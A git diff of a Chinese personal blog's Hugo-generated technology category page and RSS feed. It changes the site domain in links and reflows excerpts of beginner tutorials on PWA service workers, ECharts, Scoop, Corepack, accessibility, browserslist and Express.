href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用PWA技术</h2></header><div class=entry-content><p>PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
 PWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成
 Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信
 注册Service Worker
-navigator.serviceWorker.register('./sw.js',{scope: '/'}).then(
-registration => {
-console.log(registration)
-},error => {
-console.error(error)
-}
-)
-window.onload = function() {
-document.body.append('PWA!')
-}
-sw.js
-const cachename = 'v1'
-self.addEventListener('install', function (event) {
-console.log('install',event)
-// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本
-event.waitUntil(new Promise(resolve =>{
-setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本
-}))
-// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的
-event.waitUntil(caches.open(name).then(cache =>{
-cache.addAll([
-'/',
-'./1.img'
-])
-})) // 开启cache api缓存系统
-})
-self....</p></div><footer class=entry-footer><span title='2022-10-28 01:21:00 +0000 UTC'>2022-10-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用PWA技术" href=https://xiaochenabc123.github.io/posts/154/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>ECharts数据可视化图表库简单使用</h2></header><div class=entry-content><p>ECharts是基于JavaScript的数据可视化图表库
+navigator.serviceWorker.register('./sw.js',{scope: '/'}).then( registration => { console.log(registration) },error => { console.error(error) } ) window.onload = function() { document.body.append('PWA!') } sw.js
+const cachename = 'v1' self.addEventListener('install', function (event) { console.log('install',event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =>{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =>{ cache.addAll([ '/', './1.img' ]) })) // 开启cache api缓存系统 }) self....</p></div><footer class=entry-footer><span title='2022-10-28 01:21:00 +0000 UTC'>2022-10-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用PWA技术" href=https://chenjunlinabc.github.io/posts/154/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>ECharts数据可视化图表库简单使用</h2></header><div class=entry-content><p>ECharts是基于JavaScript的数据可视化图表库
 安装
-npm install echarts --save
-第一个实例
-import * as echarts from 'echarts'
-let app = echarts.init(document.getElementById('app'), null, {
-width: 800,
-height: 500
-})
-let data = {
-title: {
-text: '用户管理'
-},
-tooltip:{},
-legend: {
-data: ['用户']
-},
-xAxis: {
-data: [
-'root','admin','user1','user2','user3'
-]
-},
-yAxis: {},
-series: [
-{
-name: '用户权限',
-type: 'bar',
-data: [
-10,8,5,1,3
-]
-}
-]
-}
-app.setOption(data)
-注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</p></div><footer class=entry-footer><span title='2022-06-18 00:12:00 +0000 UTC'>2022-06-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to ECharts数据可视化图表库简单使用" href=https://xiaochenabc123.github.io/posts/153/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Scoop包管理器</h2></header><div class=entry-content><p>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
+npm install echarts --save 第一个实例
+import * as echarts from 'echarts' let app = echarts.init(document.getElementById('app'), null, { width: 800, height: 500 }) let data = { title: { text: '用户管理' }, tooltip:{}, legend: { data: ['用户'] }, xAxis: { data: [ 'root','admin','user1','user2','user3' ] }, yAxis: {}, series: [ { name: '用户权限', type: 'bar', data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</p></div><footer class=entry-footer><span title='2022-06-18 00:12:00 +0000 UTC'>2022-06-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to ECharts数据可视化图表库简单使用" href=https://chenjunlinabc.github.io/posts/153/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Scoop包管理器</h2></header><div class=entry-content><p>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
 scoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）
 允许执行本地脚本权限
 Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
@@ -97,32 +41,24 @@
 更新软件
 scoop update git
 更新全部已安装软件
-scoop update *...</p></div><footer class=entry-footer><span title='2022-05-20 22:10:00 +0000 UTC'>2022-05-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Scoop包管理器" href=https://xiaochenabc123.github.io/posts/150/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Corepack-包管理器的管理器</h2></header><div class=entry-content><p>Corepack（管理yarn和pnpm的包管理器的管理器）
+scoop update *...</p></div><footer class=entry-footer><span title='2022-05-20 22:10:00 +0000 UTC'>2022-05-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Scoop包管理器" href=https://chenjunlinabc.github.io/posts/150/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Corepack-包管理器的管理器</h2></header><div class=entry-content><p>Corepack（管理yarn和pnpm的包管理器的管理器）
 corepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）
 corepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）
 手动安装
-npm install -g corepack
-如果全局已经安装了yarn或者pnpm的话，需要先卸载
-npm uninstall -g yarn pnpm
-启用corepack
-corepack enable
-限制包管理器版本
+npm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载
+npm uninstall -g yarn pnpm 启用corepack
+corepack enable 限制包管理器版本
 package.json
-"packageManager": "yarn@1.22.19"
-表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
+"packageManager": "yarn@1.22.19" 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
 默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理
 修改packageManager的值后，yarn install，会自动安装指定版本
 安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）
-yarn install
-指定一个新的包管理器
-corepack prepare pnpm@7.13.5 --activate
-使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
+yarn install 指定一个新的包管理器
+corepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
 获取
-corepack prepare --all -o=D:/demo/test.tgz
-启动压缩包内的包
-corepack hydrate D:/demo/test.tgz
-或者获取完成后立刻使用
-corepack hydrate D:/demo/test.tgz --activate</p></div><footer class=entry-footer><span title='2022-05-13 00:09:00 +0000 UTC'>2022-05-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Corepack-包管理器的管理器" href=https://xiaochenabc123.github.io/posts/149/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解a11y无障碍</h2></header><div class=entry-content><p>a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
+corepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包
+corepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用
+corepack hydrate D:/demo/test.tgz --activate</p></div><footer class=entry-footer><span title='2022-05-13 00:09:00 +0000 UTC'>2022-05-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Corepack-包管理器的管理器" href=https://chenjunlinabc.github.io/posts/149/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解a11y无障碍</h2></header><div class=entry-content><p>a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
 让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）
 在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.
 w3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/
@@ -134,7 +70,7 @@
 可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））
 可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）
 可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）
-鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性</p></div><footer class=entry-footer><span title='2022-04-09 13:01:00 +0000 UTC'>2022-04-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解a11y无障碍" href=https://xiaochenabc123.github.io/posts/144/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性</p></div><footer class=entry-footer><span title='2022-04-09 13:01:00 +0000 UTC'>2022-04-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解a11y无障碍" href=https://chenjunlinabc.github.io/posts/144/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\346\212\200\346\234\257/index.xml" "b/categories/\346\212\200\346\234\257/index.xml"
index f76cfe2f..466974b4 100644
--- "a/categories/\346\212\200\346\234\257/index.xml"
+++ "b/categories/\346\212\200\346\234\257/index.xml"
@@ -2,48 +2,48 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>技术 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/</link>
+    <link>https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/</link>
     <description>Recent content in 技术 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Fri, 28 Oct 2022 01:21:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Fri, 28 Oct 2022 01:21:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用PWA技术</title>
-      <link>https://xiaochenabc123.github.io/posts/154/</link>
+      <link>https://chenjunlinabc.github.io/posts/154/</link>
       <pubDate>Fri, 28 Oct 2022 01:21:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/154/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/154/</guid>
       <description>PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
 PWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成
 Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信
 注册Service Worker
-navigator.serviceWorker.register(&#39;./sw.js&#39;,{scope: &#39;/&#39;}).then(
registration =&amp;gt; {
console.log(registration)
},error =&amp;gt; {
console.error(error)
}
)
window.onload = function() {
document.body.append(&#39;PWA!&#39;)
}
sw.js
-const cachename = &#39;v1&#39;
self.addEventListener(&#39;install&#39;, function (event) {
console.log(&#39;install&#39;,event)
// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本
event.waitUntil(new Promise(resolve =&amp;gt;{
setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本
}))
// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的
event.waitUntil(caches.open(name).then(cache =&amp;gt;{
cache.addAll([
&#39;/&#39;,
&#39;./1.img&#39;
])
})) // 开启cache api缓存系统
})
self.</description>
+navigator.serviceWorker.register(&#39;./sw.js&#39;,{scope: &#39;/&#39;}).then( registration =&amp;gt; { console.log(registration) },error =&amp;gt; { console.error(error) } ) window.onload = function() { document.body.append(&#39;PWA!&#39;) } sw.js
+const cachename = &#39;v1&#39; self.addEventListener(&#39;install&#39;, function (event) { console.log(&#39;install&#39;,event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =&amp;gt;{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =&amp;gt;{ cache.addAll([ &#39;/&#39;, &#39;./1.img&#39; ]) })) // 开启cache api缓存系统 }) self.</description>
     </item>
     
     <item>
       <title>ECharts数据可视化图表库简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/153/</link>
+      <link>https://chenjunlinabc.github.io/posts/153/</link>
       <pubDate>Sat, 18 Jun 2022 00:12:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/153/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/153/</guid>
       <description>ECharts是基于JavaScript的数据可视化图表库
 安装
-npm install echarts --save
第一个实例
-import * as echarts from &#39;echarts&#39;
let app = echarts.init(document.getElementById(&#39;app&#39;), null, {
width: 800,
height: 500
})
let data = {
title: {
text: &#39;用户管理&#39;
},
tooltip:{},
legend: {
data: [&#39;用户&#39;]
},
xAxis: {
data: [
&#39;root&#39;,&#39;admin&#39;,&#39;user1&#39;,&#39;user2&#39;,&#39;user3&#39;
]
},
yAxis: {},
series: [
{
name: &#39;用户权限&#39;,
type: &#39;bar&#39;,
data: [
10,8,5,1,3
]
}
]
}
app.setOption(data)
注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</description>
+npm install echarts --save 第一个实例
+import * as echarts from &#39;echarts&#39; let app = echarts.init(document.getElementById(&#39;app&#39;), null, { width: 800, height: 500 }) let data = { title: { text: &#39;用户管理&#39; }, tooltip:{}, legend: { data: [&#39;用户&#39;] }, xAxis: { data: [ &#39;root&#39;,&#39;admin&#39;,&#39;user1&#39;,&#39;user2&#39;,&#39;user3&#39; ] }, yAxis: {}, series: [ { name: &#39;用户权限&#39;, type: &#39;bar&#39;, data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</description>
     </item>
     
     <item>
       <title>简单使用Scoop包管理器</title>
-      <link>https://xiaochenabc123.github.io/posts/150/</link>
+      <link>https://chenjunlinabc.github.io/posts/150/</link>
       <pubDate>Fri, 20 May 2022 22:10:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/150/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/150/</guid>
       <description>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
 scoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）
 允许执行本地脚本权限
@@ -84,36 +84,36 @@ scoop update *</description>
     
     <item>
       <title>简单使用Corepack-包管理器的管理器</title>
-      <link>https://xiaochenabc123.github.io/posts/149/</link>
+      <link>https://chenjunlinabc.github.io/posts/149/</link>
       <pubDate>Fri, 13 May 2022 00:09:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/149/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/149/</guid>
       <description>Corepack（管理yarn和pnpm的包管理器的管理器）
 corepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）
 corepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）
 手动安装
-npm install -g corepack
如果全局已经安装了yarn或者pnpm的话，需要先卸载
-npm uninstall -g yarn pnpm
启用corepack
-corepack enable
限制包管理器版本
+npm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载
+npm uninstall -g yarn pnpm 启用corepack
+corepack enable 限制包管理器版本
 package.json
-&amp;quot;packageManager&amp;quot;: &amp;quot;yarn@1.22.19&amp;quot;
表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
+&amp;quot;packageManager&amp;quot;: &amp;quot;yarn@1.22.19&amp;quot; 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
 默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理
 修改packageManager的值后，yarn install，会自动安装指定版本
 安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）
-yarn install
指定一个新的包管理器
-corepack prepare pnpm@7.13.5 --activate
使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
+yarn install 指定一个新的包管理器
+corepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
 获取
-corepack prepare --all -o=D:/demo/test.tgz
启动压缩包内的包
-corepack hydrate D:/demo/test.tgz
或者获取完成后立刻使用
+corepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包
+corepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用
 corepack hydrate D:/demo/test.tgz --activate </description>
     </item>
     
     <item>
       <title>简单了解a11y无障碍</title>
-      <link>https://xiaochenabc123.github.io/posts/144/</link>
+      <link>https://chenjunlinabc.github.io/posts/144/</link>
       <pubDate>Sat, 09 Apr 2022 13:01:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/144/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/144/</guid>
       <description>a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
 让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）
 在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.
@@ -131,10 +131,10 @@ mdn对于障碍人士可访问性优化提供了建议：
     
     <item>
       <title>browserslist的简单配置</title>
-      <link>https://xiaochenabc123.github.io/posts/140/</link>
+      <link>https://chenjunlinabc.github.io/posts/140/</link>
       <pubDate>Sat, 12 Mar 2022 10:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/140/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/140/</guid>
       <description>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
 browserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作
 npx browserslist可查看根据条件输出的浏览器列表
@@ -149,17 +149,17 @@ not dead的意思是不输出官方不再维护的浏览器（例如ie10），de
 and就是和，or是或者
 browserslist的配置
 package.json（browserslist官方推荐用这个）
-&amp;quot;browserslist&amp;quot;: [
&#39;&amp;gt; 0.2%&#39;,
&#39;last 1 Chrome versions&#39;
&#39;not dead&#39;
]
或者写成
-&amp;quot;browserslist&amp;quot;: [
&#39;&amp;gt; 0.2% and last 1 Chrome versions and not dead&#39;,
]
.browserslistrc
-&amp;gt; 0.2% and last 1 Chrome versions and not dead
browserslist数据的优先级：当前项目的package.</description>
+&amp;quot;browserslist&amp;quot;: [ &#39;&amp;gt; 0.2%&#39;, &#39;last 1 Chrome versions&#39; &#39;not dead&#39; ] 或者写成
+&amp;quot;browserslist&amp;quot;: [ &#39;&amp;gt; 0.2% and last 1 Chrome versions and not dead&#39;, ] .browserslistrc
+&amp;gt; 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package.</description>
     </item>
     
     <item>
       <title>简单使用Express-Web应用框架</title>
-      <link>https://xiaochenabc123.github.io/posts/138/</link>
+      <link>https://chenjunlinabc.github.io/posts/138/</link>
       <pubDate>Mon, 28 Feb 2022 18:04:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/138/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/138/</guid>
       <description>Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
 安装
 npm install express &amp;ndash;save
@@ -173,7 +173,7 @@ npm install
 运行
 npm start
 如果不使用脚手架（main.js）
-const express = require(&amp;quot;express&amp;quot;)
const app = express()
app.get(&#39;/&#39;,function(req,res){ res.end(&amp;quot;hallo world!&amp;quot;)
})
app.listen(3000)
运行
+const express = require(&amp;quot;express&amp;quot;) const app = express() app.get(&#39;/&#39;,function(req,res){ res.end(&amp;quot;hallo world!&amp;quot;) }) app.listen(3000) 运行
 node main.js
 或者（监视nodejs应用中的任何更改并自动重启服务）
 nodemon main.js
